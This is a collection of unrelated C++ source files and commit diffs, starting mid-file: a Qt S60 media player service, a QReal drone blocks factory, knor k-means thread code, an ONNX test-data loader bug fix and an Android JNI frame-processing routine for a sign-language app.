"s60mediaplayercontrol.h" #include "s60videoplayersession.h" #include "s60audioplayersession.h" #include "s60mediametadataprovider.h" #include "s60mediarecognizer.h" #include "s60videowidgetcontrol.h" #include "s60videowindowcontrol.h" #ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER #include "s60videorenderer.h" #endif #include "s60mediaplayeraudioendpointselector.h" #include "s60medianetworkaccesscontrol.h" #include "s60mediastreamcontrol.h" #include <qmediaplaylistnavigator.h> #include <qmediaplaylist.h> S60MediaPlayerService::S60MediaPlayerService(QObject *parent) : QMediaService(parent) , m_control(NULL) , m_videoPlayerSession(NULL) , m_audioPlayerSession(NULL) , m_metaData(NULL) , m_audioEndpointSelector(NULL) , m_streamControl(NULL) , m_networkAccessControl(NULL) , m_videoOutput(NULL) { m_control = new S60MediaPlayerControl(*this, this); m_metaData = new S60MediaMetaDataProvider(m_control, this); m_audioEndpointSelector = new S60MediaPlayerAudioEndpointSelector(m_control, this); m_streamControl = new S60MediaStreamControl(m_control, this); m_networkAccessControl = new S60MediaNetworkAccessControl(this); } S60MediaPlayerService::~S60MediaPlayerService() { } QMediaControl *S60MediaPlayerService::requestControl(const char *name) { if (qstrcmp(name, QMediaPlayerControl_iid) == 0) return m_control; if (qstrcmp(name, QMediaNetworkAccessControl_iid) == 0) return m_networkAccessControl; if (qstrcmp(name, QMetaDataReaderControl_iid) == 0) return m_metaData; if (qstrcmp(name, QAudioEndpointSelector_iid) == 0) return m_audioEndpointSelector; if (qstrcmp(name, QMediaStreamsControl_iid) == 0) return m_streamControl; if (!m_videoOutput) { if (qstrcmp(name, QVideoWidgetControl_iid) == 0) { m_videoOutput = new S60VideoWidgetControl(this); } #ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER else if (qstrcmp(name, QVideoRendererControl_iid) == 0) { m_videoOutput = new S60VideoRenderer(this); } #endif /* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER */ else if (qstrcmp(name, QVideoWindowControl_iid) == 0) { m_videoOutput = new S60VideoWindowControl(this); } if (m_videoOutput) { m_control->setVideoOutput(m_videoOutput); return m_videoOutput; } }else { if (qstrcmp(name, QVideoWidgetControl_iid) == 0 || #ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER qstrcmp(name, QVideoRendererControl_iid) == 0 || #endif /* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER */ qstrcmp(name, QVideoWindowControl_iid) == 0){ return m_videoOutput; } } return 0; } void S60MediaPlayerService::releaseControl(QMediaControl *control) { if (control == m_videoOutput) { m_videoOutput = 0; m_control->setVideoOutput(m_videoOutput); } } S60MediaPlayerSession* S60MediaPlayerService::PlayerSession() { QUrl url = m_control->media().canonicalUrl(); if (url.isEmpty() == true) { return NULL; } QScopedPointer<S60MediaRecognizer> mediaRecognizer(new S60MediaRecognizer); S60MediaRecognizer::MediaType mediaType = mediaRecognizer->mediaType(url); mediaRecognizer.reset(); switch (mediaType) { case S60MediaRecognizer::Video: case S60MediaRecognizer::Url: { m_control->setMediaType(S60MediaSettings::Video); return VideoPlayerSession(); } case S60MediaRecognizer::Audio: { m_control->setMediaType(S60MediaSettings::Audio); return AudioPlayerSession(); } default: m_control->setMediaType(S60MediaSettings::Unknown); break; } return NULL; } S60MediaPlayerSession* S60MediaPlayerService::VideoPlayerSession() { if (!m_videoPlayerSession) { m_videoPlayerSession = new S60VideoPlayerSession(this, m_networkAccessControl); connect(m_videoPlayerSession, SIGNAL(positionChanged(qint64)), m_control, SIGNAL(positionChanged(qint64))); connect(m_videoPlayerSession, SIGNAL(playbackRateChanged(qreal)), m_control, SIGNAL(playbackRateChanged(qreal))); connect(m_videoPlayerSession, SIGNAL(volumeChanged(int)), m_control, SIGNAL(volumeChanged(int))); connect(m_videoPlayerSession, SIGNAL(mutedChanged(bool)), m_control, SIGNAL(mutedChanged(bool))); connect(m_videoPlayerSession, SIGNAL(durationChanged(qint64)), m_control, SIGNAL(durationChanged(qint64))); connect(m_videoPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)), m_control, SIGNAL(stateChanged(QMediaPlayer::State))); connect(m_videoPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)), m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus))); connect(m_videoPlayerSession,SIGNAL(bufferStatusChanged(int)), m_control, SIGNAL(bufferStatusChanged(int))); connect(m_videoPlayerSession, SIGNAL(videoAvailableChanged(bool)), m_control, SIGNAL(videoAvailableChanged(bool))); connect(m_videoPlayerSession, SIGNAL(audioAvailableChanged(bool)), m_control, SIGNAL(audioAvailableChanged(bool))); connect(m_videoPlayerSession, SIGNAL(seekableChanged(bool)), m_control, SIGNAL(seekableChanged(bool))); connect(m_videoPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)), m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&))); connect(m_videoPlayerSession, SIGNAL(error(int, const QString &)), m_control, SIGNAL(error(int, const QString &))); connect(m_videoPlayerSession, SIGNAL(metaDataChanged()), m_metaData, SIGNAL(metaDataChanged())); connect(m_videoPlayerSession, SIGNAL(activeEndpointChanged(const QString&)), m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&))); connect(m_videoPlayerSession, SIGNAL(mediaChanged()), m_streamControl, SLOT(handleStreamsChanged())); connect(m_videoPlayerSession, SIGNAL(accessPointChanged(int)), m_networkAccessControl, SLOT(accessPointChanged(int))); m_videoPlayerSession->setVolume(m_control->mediaControlSettings().volume()); m_videoPlayerSession->setMuted(m_control->mediaControlSettings().isMuted()); m_videoPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint()); } return m_videoPlayerSession; } S60MediaPlayerSession* S60MediaPlayerService::AudioPlayerSession() { if (!m_audioPlayerSession) { m_audioPlayerSession = new S60AudioPlayerSession(this); connect(m_audioPlayerSession, SIGNAL(positionChanged(qint64)), m_control, SIGNAL(positionChanged(qint64))); connect(m_audioPlayerSession, SIGNAL(playbackRateChanged(qreal)), m_control, SIGNAL(playbackRateChanged(qreal))); connect(m_audioPlayerSession, SIGNAL(volumeChanged(int)), m_control, SIGNAL(volumeChanged(int))); connect(m_audioPlayerSession, SIGNAL(mutedChanged(bool)), m_control, SIGNAL(mutedChanged(bool))); connect(m_audioPlayerSession, SIGNAL(durationChanged(qint64)), m_control, SIGNAL(durationChanged(qint64))); connect(m_audioPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)), m_control, SIGNAL(stateChanged(QMediaPlayer::State))); connect(m_audioPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)), m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus))); connect(m_audioPlayerSession,SIGNAL(bufferStatusChanged(int)), m_control, SIGNAL(bufferStatusChanged(int))); connect(m_audioPlayerSession, SIGNAL(videoAvailableChanged(bool)), m_control, SIGNAL(videoAvailableChanged(bool))); connect(m_audioPlayerSession, SIGNAL(audioAvailableChanged(bool)), m_control, SIGNAL(audioAvailableChanged(bool))); connect(m_audioPlayerSession, SIGNAL(seekableChanged(bool)), m_control, SIGNAL(seekableChanged(bool))); connect(m_audioPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)), m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&))); connect(m_audioPlayerSession, SIGNAL(error(int, const QString &)), m_control, SIGNAL(error(int, const QString &))); connect(m_audioPlayerSession, SIGNAL(metaDataChanged()), m_metaData, SIGNAL(metaDataChanged())); connect(m_audioPlayerSession, SIGNAL(activeEndpointChanged(const QString&)), m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&))); connect(m_audioPlayerSession, SIGNAL(mediaChanged()), m_streamControl, SLOT(handleStreamsChanged())); m_audioPlayerSession->setVolume(m_control->mediaControlSettings().volume()); m_audioPlayerSession->setMuted(m_control->mediaControlSettings().isMuted()); m_audioPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint()); } return m_audioPlayerSession; } <|endoftext|>
<commit_before>/* Copyright 2017 QReal Research Group * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "pioneerKit/blocks/pioneerBlocksFactory.h" using namespace pioneer::blocks; qReal::interpretation::Block *PioneerBlocksFactory::produceBlock(const qReal::Id &element) { Q_UNUSED(element); return nullptr; } qReal::IdList PioneerBlocksFactory::providedBlocks() const { return { id("GeoTakeoff") , id("GeoLanding") , id("GoToPoint") , id("PioneerPrint") , id("PioneerSystem") , id("PioneerLed") , id("PioneerMagnet") , id("PioneerYaw") }; } qReal::IdList PioneerBlocksFactory::blocksToDisable() const { return { }; } qReal::IdList PioneerBlocksFactory::blocksToHide() const { return { id("Function") , id("FiBlock") , id("SwitchBlock") , id("Loop") , id("Subprogram") , id("Fork") , id("Join") , id("KillThread") , id("SendMessageThreads") , id("ReceiveMessageThreads") , id("PrintText") , id("ClearScreen") , id("MarkerDown") , id("MarkerUp") }; } <commit_msg>Added EndIf block<commit_after>/* Copyright 2017 QReal Research Group * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "pioneerKit/blocks/pioneerBlocksFactory.h" using namespace pioneer::blocks; qReal::interpretation::Block *PioneerBlocksFactory::produceBlock(const qReal::Id &element) { Q_UNUSED(element); return nullptr; } qReal::IdList PioneerBlocksFactory::providedBlocks() const { return { id("GeoTakeoff") , id("GeoLanding") , id("GoToPoint") , id("PioneerPrint") , id("PioneerSystem") , id("PioneerLed") , id("PioneerMagnet") , id("PioneerYaw") }; } qReal::IdList PioneerBlocksFactory::blocksToDisable() const { return { }; } qReal::IdList PioneerBlocksFactory::blocksToHide() const { return { id("Function") , id("SwitchBlock") , id("Loop") , id("Subprogram") , id("Fork") , id("Join") , id("KillThread") , id("SendMessageThreads") , id("ReceiveMessageThreads") , id("PrintText") , id("ClearScreen") , id("MarkerDown") , id("MarkerUp") }; } <|endoftext|>
<commit_before>/* * Copyright 2016 neurodata (http://neurodata.io/) * Written by Disa Mhembere ([email protected]) * * This file is part of knor * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY CURRENT_KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef USE_NUMA #include <numa.h> #endif #include "base_kmeans_thread.hpp" #include "exception.hpp" #include "util.hpp" #define VERBOSE 0 #define INVALID_THD_ID -1 namespace kpmeans { void base_kmeans_thread::destroy_numa_mem() { if (!preallocd_data) { #ifdef USE_NUMA numa_free(local_data, get_data_size()); #else delete [] local_data; #endif } } void base_kmeans_thread::join() { void* join_status; int rc = pthread_join(hw_thd, &join_status); if (rc) throw base::thread_exception("pthread_join()", rc); thd_id = INVALID_THD_ID; } // Once the algorithm ends we should deallocate the memory we moved void base_kmeans_thread::close_file_handle() { int rc = fclose(f); if (rc) throw base::io_exception("fclose() failed!", rc); #if VERBOSE #ifndef BIND printf("Thread %u closing the file handle.\n",thd_id); #endif #endif f = NULL; } // Move data ~equally to all nodes void base_kmeans_thread::numa_alloc_mem() { kpmbase::assert_msg(f, "File handle invalid, can only alloc once!"); size_t blob_size = get_data_size(); #ifdef USE_NUMA local_data = static_cast<double*>(numa_alloc_onnode(blob_size, node_id)); #else local_data = new double [blob_size/sizeof(double)]; #endif fseek(f, start_rid*ncol*sizeof(double), SEEK_SET); // start position #ifdef NDEBUG size_t nread = fread(local_data, blob_size, 1, f); nread = nread; // Silence compiler warning #else assert(fread(local_data, blob_size, 1, f) == 1); #endif close_file_handle(); } void base_kmeans_thread::set_local_data_ptr(double* data, bool offset) { if (offset) local_data = &(data[start_rid*ncol]); // Grab your offset else local_data = data; } base_kmeans_thread::~base_kmeans_thread() { pthread_cond_destroy(&cond); pthread_mutex_destroy(&mutex); pthread_mutexattr_destroy(&mutex_attr); if (f) close_file_handle(); #if VERBOSE #ifndef BIND printf("Thread %u being destroyed\n", thd_id); #endif #endif if (thd_id != INVALID_THD_ID) join(); } void base_kmeans_thread::bind2node_id() { #ifdef USE_NUMA struct bitmask *bmp = numa_allocate_nodemask(); numa_bitmask_setbit(bmp, node_id); numa_bind(bmp); numa_free_nodemask(bmp); #endif // No NUMA? Do nothing } } // End namespace kpmeans <commit_msg>warn: silence compiler<commit_after>/* * Copyright 2016 neurodata (http://neurodata.io/) * Written by Disa Mhembere ([email protected]) * * This file is part of knor * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY CURRENT_KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifdef USE_NUMA #include <numa.h> #endif #include "base_kmeans_thread.hpp" #include "exception.hpp" #include "util.hpp" #define VERBOSE 0 #define INVALID_THD_ID -1 namespace kpmeans { void base_kmeans_thread::destroy_numa_mem() { if (!preallocd_data) { #ifdef USE_NUMA numa_free(local_data, get_data_size()); #else delete [] local_data; #endif } } void base_kmeans_thread::join() { void* join_status; int rc = pthread_join(hw_thd, &join_status); if (rc) throw base::thread_exception("pthread_join()", rc); thd_id = INVALID_THD_ID; } // Once the algorithm ends we should deallocate the memory we moved void base_kmeans_thread::close_file_handle() { int rc = fclose(f); if (rc) throw base::io_exception("fclose() failed!", rc); #if VERBOSE #ifndef BIND printf("Thread %u closing the file handle.\n",thd_id); #endif #endif f = NULL; } // Move data ~equally to all nodes void base_kmeans_thread::numa_alloc_mem() { kpmbase::assert_msg(f, "File handle invalid, can only alloc once!"); size_t blob_size = get_data_size(); #ifdef USE_NUMA local_data = static_cast<double*>(numa_alloc_onnode(blob_size, node_id)); #else local_data = new double [blob_size/sizeof(double)]; #endif fseek(f, start_rid*ncol*sizeof(double), SEEK_SET); // start position #ifdef NDEBUG size_t nread = fread(local_data, blob_size, 1, f); nread = nread + 1 - 1; // Silence compiler warning #else assert(fread(local_data, blob_size, 1, f) == 1); #endif close_file_handle(); } void base_kmeans_thread::set_local_data_ptr(double* data, bool offset) { if (offset) local_data = &(data[start_rid*ncol]); // Grab your offset else local_data = data; } base_kmeans_thread::~base_kmeans_thread() { pthread_cond_destroy(&cond); pthread_mutex_destroy(&mutex); pthread_mutexattr_destroy(&mutex_attr); if (f) close_file_handle(); #if VERBOSE #ifndef BIND printf("Thread %u being destroyed\n", thd_id); #endif #endif if (thd_id != INVALID_THD_ID) join(); } void base_kmeans_thread::bind2node_id() { #ifdef USE_NUMA struct bitmask *bmp = numa_allocate_nodemask(); numa_bitmask_setbit(bmp, node_id); numa_bind(bmp); numa_free_nodemask(bmp); #endif // No NUMA? Do nothing } } // End namespace kpmeans <|endoftext|>
<commit_before>#include "test_driver.h" #include <cstdio> #include <cstdlib> #include <fstream> #include <errno.h> #include <fcntl.h> #include <sys/stat.h> #ifdef _WIN32 #include <io.h> #include <windows.h> #else #include <dirent.h> #endif namespace ONNX_NAMESPACE { namespace testing { bool FileExists(const std::string& filename) { #ifdef _WIN32 if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(filename.c_str())) { return false; } #else struct stat stats; if (lstat(filename.c_str(), &stats) != 0 || !S_ISREG(stats.st_mode)) { return false; } #endif return true; } void TestDriver::SetDefaultDir(const std::string& s) { default_dir_ = s; } /** * It is possible that case_dir is not a dir. * But it does not affect the result. */ void TestDriver::FetchSingleTestCase(const std::string& case_dir) { std::string model_name = case_dir; model_name += "model.onnx"; if (FileExists(model_name)) { UnsolvedTestCase test_case; test_case.model_filename_ = model_name; test_case.model_dirname_ = case_dir; for (int case_count = 0;; case_count++) { std::vector<std::string> input_filenames, output_filenames; std::string input_name, output_name; std::string case_dirname = case_dir; case_dirname += "test_data_set_" + ONNX_NAMESPACE::to_string(case_count); input_name = case_dirname + "/input_" + "0" + ".pb"; output_name = case_dirname + "/output_" + "0" + ".pb"; if (!FileExists(output_name) && !FileExists(input_name)) { break; } for (int data_count = 0;; data_count++) { input_name = case_dirname + "/input_" + ONNX_NAMESPACE::to_string(data_count) + ".pb"; output_name = case_dirname + "/output_" + ONNX_NAMESPACE::to_string(data_count) + ".pb"; const bool input_exists = FileExists(input_name); const bool output_exists = FileExists(output_name); if (!output_exists && !input_exists) { break; } if (input_exists) { input_filenames.emplace_back(std::move(input_name)); } if (output_exists) { output_filenames.emplace_back(std::move(output_name)); } } UnsolvedTestData test_data(input_filenames, output_filenames); test_case.test_data_.emplace_back(std::move(test_data)); } testcases_.emplace_back(std::move(test_case)); } } bool TestDriver::FetchAllTestCases(const std::string& target) { std::string target_dir = target; if (target_dir == "") { target_dir = default_dir_; } if (target_dir[target_dir.size() - 1] == '/') { target_dir.erase(target_dir.size() - 1, 1); } #ifdef _WIN32 _finddata_t file; intptr_t lf; if ((lf = _findfirst(target_dir.c_str(), &file)) == -1) { std::cerr << "Error: cannot open directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return false; } else { try { do { std::string entry_dname = file.name; if (entry_dname != "." && entry_dname != "..") { entry_dname = target_dir + "/" + entry_dname + "/"; FetchSingleTestCase(entry_dname); } } while (_findnext(lf, &file) == 0); } catch (const std::exception& e) { std::cerr << "Error occured while reading directory. " << e.what() << std::endl; _findclose(lf); throw; } _findclose(lf); } #else DIR* directory; try { directory = opendir(target_dir.c_str()); if (directory == NULL) { std::cerr << "Error: cannot open directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return false; } while (true) { errno = 0; struct dirent* entry = readdir(directory); if (entry == NULL) { if (errno != 0) { std::cerr << "Error: cannot read directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return -1; } else { break; } } std::string entry_dname = entry->d_name; if (entry_dname != "." && entry_dname != "..") { entry_dname = target_dir + "/" + entry_dname + "/"; FetchSingleTestCase(entry_dname); } } } catch (const std::exception& e) { if (directory != NULL) { if (closedir(directory) != 0) { std::cerr << "Warning: failed to close directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; } } std::cerr << "Error: exception occured: " << e.what() << std::endl; throw; } if (directory != NULL) { if (closedir(directory) != 0) { std::cerr << "Warning: failed to close directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return false; } } #endif return true; } std::vector<UnsolvedTestCase> GetTestCase(const std::string& location) { TestDriver test_driver; test_driver.FetchAllTestCases(location); return test_driver.testcases_; } void LoadSingleFile(const std::string& filename, std::string& filedata) { FILE* fp; if ((fp = fopen(filename.c_str(), "r")) != NULL) { try { int fsize; char buff[1024] = {0}; do { fsize = fread(buff, sizeof(char), 1024, fp); filedata += std::string(buff, buff + fsize); } while (fsize == 1024); } catch (const std::exception& e) { fclose(fp); throw; } fclose(fp); } else { std::cerr << "Warning: failed to open file: " << filename << std::endl; } } ResolvedTestCase LoadSingleTestCase(const UnsolvedTestCase& t) { ResolvedTestCase st; std::string raw_model; LoadSingleFile(t.model_filename_, raw_model); ONNX_NAMESPACE::ParseProtoFromBytes( &st.model_, raw_model.c_str(), raw_model.size()); for (auto& test_data : t.test_data_) { ResolvedTestData proto_test_data; for (auto& input_file : test_data.input_filenames_) { std::string input_data; LoadSingleFile(input_file, input_data); ONNX_NAMESPACE::TensorProto input_proto; ONNX_NAMESPACE::ParseProtoFromBytes( &input_proto, input_data.c_str(), input_data.size()); proto_test_data.inputs_.emplace_back(std::move(input_proto)); } for (auto& output_file : test_data.output_filenames_) { std::string output_data = ""; LoadSingleFile(output_file, output_data); ONNX_NAMESPACE::TensorProto output_proto; ONNX_NAMESPACE::ParseProtoFromBytes( &output_proto, output_data.c_str(), output_data.size()); proto_test_data.outputs_.emplace_back(std::move(output_proto)); } } return st; } std::vector<ResolvedTestCase> LoadAllTestCases(const std::string& location) { std::vector<UnsolvedTestCase> t = GetTestCase(location); return LoadAllTestCases(t); } std::vector<ResolvedTestCase> LoadAllTestCases( const std::vector<UnsolvedTestCase>& t) { std::vector<ResolvedTestCase> st; for (const auto& i : t) { st.push_back(LoadSingleTestCase(i)); } return st; } } // namespace testing } // namespace ONNX_NAMESPACE <commit_msg>fix the bug of loading model input/output proto (#1477)<commit_after>#include "test_driver.h" #include <cstdio> #include <cstdlib> #include <fstream> #include <errno.h> #include <fcntl.h> #include <sys/stat.h> #ifdef _WIN32 #include <io.h> #include <windows.h> #else #include <dirent.h> #endif namespace ONNX_NAMESPACE { namespace testing { bool FileExists(const std::string& filename) { #ifdef _WIN32 if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(filename.c_str())) { return false; } #else struct stat stats; if (lstat(filename.c_str(), &stats) != 0 || !S_ISREG(stats.st_mode)) { return false; } #endif return true; } void TestDriver::SetDefaultDir(const std::string& s) { default_dir_ = s; } /** * It is possible that case_dir is not a dir. * But it does not affect the result. */ void TestDriver::FetchSingleTestCase(const std::string& case_dir) { std::string model_name = case_dir; model_name += "model.onnx"; if (FileExists(model_name)) { UnsolvedTestCase test_case; test_case.model_filename_ = model_name; test_case.model_dirname_ = case_dir; for (int case_count = 0;; case_count++) { std::vector<std::string> input_filenames, output_filenames; std::string input_name, output_name; std::string case_dirname = case_dir; case_dirname += "test_data_set_" + ONNX_NAMESPACE::to_string(case_count); input_name = case_dirname + "/input_" + "0" + ".pb"; output_name = case_dirname + "/output_" + "0" + ".pb"; if (!FileExists(output_name) && !FileExists(input_name)) { break; } for (int data_count = 0;; data_count++) { input_name = case_dirname + "/input_" + ONNX_NAMESPACE::to_string(data_count) + ".pb"; output_name = case_dirname + "/output_" + ONNX_NAMESPACE::to_string(data_count) + ".pb"; const bool input_exists = FileExists(input_name); const bool output_exists = FileExists(output_name); if (!output_exists && !input_exists) { break; } if (input_exists) { input_filenames.emplace_back(std::move(input_name)); } if (output_exists) { output_filenames.emplace_back(std::move(output_name)); } } UnsolvedTestData test_data(input_filenames, output_filenames); test_case.test_data_.emplace_back(std::move(test_data)); } testcases_.emplace_back(std::move(test_case)); } } bool TestDriver::FetchAllTestCases(const std::string& target) { std::string target_dir = target; if (target_dir == "") { target_dir = default_dir_; } if (target_dir[target_dir.size() - 1] == '/') { target_dir.erase(target_dir.size() - 1, 1); } #ifdef _WIN32 _finddata_t file; intptr_t lf; if ((lf = _findfirst(target_dir.c_str(), &file)) == -1) { std::cerr << "Error: cannot open directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return false; } else { try { do { std::string entry_dname = file.name; if (entry_dname != "." && entry_dname != "..") { entry_dname = target_dir + "/" + entry_dname + "/"; FetchSingleTestCase(entry_dname); } } while (_findnext(lf, &file) == 0); } catch (const std::exception& e) { std::cerr << "Error occured while reading directory. " << e.what() << std::endl; _findclose(lf); throw; } _findclose(lf); } #else DIR* directory; try { directory = opendir(target_dir.c_str()); if (directory == NULL) { std::cerr << "Error: cannot open directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return false; } while (true) { errno = 0; struct dirent* entry = readdir(directory); if (entry == NULL) { if (errno != 0) { std::cerr << "Error: cannot read directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return -1; } else { break; } } std::string entry_dname = entry->d_name; if (entry_dname != "." && entry_dname != "..") { entry_dname = target_dir + "/" + entry_dname + "/"; FetchSingleTestCase(entry_dname); } } } catch (const std::exception& e) { if (directory != NULL) { if (closedir(directory) != 0) { std::cerr << "Warning: failed to close directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; } } std::cerr << "Error: exception occured: " << e.what() << std::endl; throw; } if (directory != NULL) { if (closedir(directory) != 0) { std::cerr << "Warning: failed to close directory " << target_dir << " when fetching test data: " << strerror(errno) << std::endl; return false; } } #endif return true; } std::vector<UnsolvedTestCase> GetTestCase(const std::string& location) { TestDriver test_driver; test_driver.FetchAllTestCases(location); return test_driver.testcases_; } void LoadSingleFile(const std::string& filename, std::string& filedata) { FILE* fp; if ((fp = fopen(filename.c_str(), "r")) != NULL) { try { int fsize; char buff[1024] = {0}; do { fsize = fread(buff, sizeof(char), 1024, fp); filedata += std::string(buff, buff + fsize); } while (fsize == 1024); } catch (const std::exception& e) { fclose(fp); throw; } fclose(fp); } else { std::cerr << "Warning: failed to open file: " << filename << std::endl; } } ResolvedTestCase LoadSingleTestCase(const UnsolvedTestCase& t) { ResolvedTestCase st; std::string raw_model; LoadSingleFile(t.model_filename_, raw_model); ONNX_NAMESPACE::ParseProtoFromBytes( &st.model_, raw_model.c_str(), raw_model.size()); for (auto& test_data : t.test_data_) { ResolvedTestData proto_test_data; for (auto& input_file : test_data.input_filenames_) { std::string input_data; LoadSingleFile(input_file, input_data); ONNX_NAMESPACE::TensorProto input_proto; ONNX_NAMESPACE::ParseProtoFromBytes( &input_proto, input_data.c_str(), input_data.size()); proto_test_data.inputs_.emplace_back(std::move(input_proto)); } for (auto& output_file : test_data.output_filenames_) { std::string output_data = ""; LoadSingleFile(output_file, output_data); ONNX_NAMESPACE::TensorProto output_proto; ONNX_NAMESPACE::ParseProtoFromBytes( &output_proto, output_data.c_str(), output_data.size()); proto_test_data.outputs_.emplace_back(std::move(output_proto)); } st.proto_test_data_.emplace_back(std::move(proto_test_data)); } return st; } std::vector<ResolvedTestCase> LoadAllTestCases(const std::string& location) { std::vector<UnsolvedTestCase> t = GetTestCase(location); return LoadAllTestCases(t); } std::vector<ResolvedTestCase> LoadAllTestCases( const std::vector<UnsolvedTestCase>& t) { std::vector<ResolvedTestCase> st; for (const auto& i : t) { st.push_back(LoadSingleTestCase(i)); } return st; } } // namespace testing } // namespace ONNX_NAMESPACE <|endoftext|>
<commit_before>#include <jni.h> #include <sstream> #include <string> #include <stdio.h> #include <android/log.h> #include "utils.cpp" #include "amanda.cpp" extern "C" { // Process a frame JNIEXPORT jboolean JNICALL Java_com_danycabrera_signcoach_LearnActivity_processFrame(JNIEnv *env, jobject instance, jlong iAddr1, jlong iAddr2, jchar c) { // Prepare source and destination image pointers Mat *src = (Mat *) iAddr1; Mat *dst = (Mat *) iAddr2; flip(*src, *src, 1); //__android_log_print(ANDROID_LOG_ERROR, "MyLogs", "GlobalN address: %p", &globalN); //cropImage(*src, *dst); return checkIfCorrect(*src, c); } // Assigns values to configuration globals JNIEXPORT void JNICALL Java_com_danycabrera_signcoach_MainActivity_initGlobals(JNIEnv *env, jobject instance, jstring externalStoragePath) { sign_cascade_folder = jstring2string(env, externalStoragePath) + "/signcoach/data/"; __android_log_print(ANDROID_LOG_ERROR, "initGlobals", "sign_cascade_folder: %s", sign_cascade_folder.c_str()); FILE* file = fopen("/sdcard/textTest.txt","w+"); if (file == NULL) { __android_log_print(ANDROID_LOG_ERROR, "initGlobals", "Error fopen: %d (%s)", errno, strerror(errno)); } else { __android_log_print(ANDROID_LOG_ERROR, "initGlobals", "File open!"); } fputs("hello, world\n", file); fclose(file); } }<commit_msg>added things that dany said to add<commit_after>#include <jni.h> #include <sstream> #include <string> #include <stdio.h> #include <android/log.h> #include "utils.cpp" #include "amanda.cpp" extern "C" { // Process a frame JNIEXPORT jboolean JNICALL Java_com_danycabrera_signcoach_LearnActivity_processFrame(JNIEnv *env, jobject instance, jlong iAddr1, jlong iAddr2, jchar c) { // Prepare source and destination image pointers Mat *src = (Mat *) iAddr1; Mat *dst = (Mat *) iAddr2; // // flip(*src, *src, 1); //__android_log_print(ANDROID_LOG_ERROR, "MyLogs", "GlobalN address: %p", &globalN); fixRotation(*src, *dst, 1); //cropImage(*src, *dst); return checkIfCorrect(*src, c); } // Assigns values to configuration globals JNIEXPORT void JNICALL Java_com_danycabrera_signcoach_MainActivity_initGlobals(JNIEnv *env, jobject instance, jstring externalStoragePath) { sign_cascade_folder = jstring2string(env, externalStoragePath) + "/signcoach/data/"; __android_log_print(ANDROID_LOG_ERROR, "initGlobals", "sign_cascade_folder: %s", sign_cascade_folder.c_str()); FILE* file = fopen("/sdcard/textTest.txt","w+"); if (file == NULL) { __android_log_print(ANDROID_LOG_ERROR, "initGlobals", "Error fopen: %d (%s)", errno, strerror(errno)); } else { __android_log_print(ANDROID_LOG_ERROR, "initGlobals", "File open!"); } fputs("hello, world\n", file); fclose(file); } }<|endoftext|>
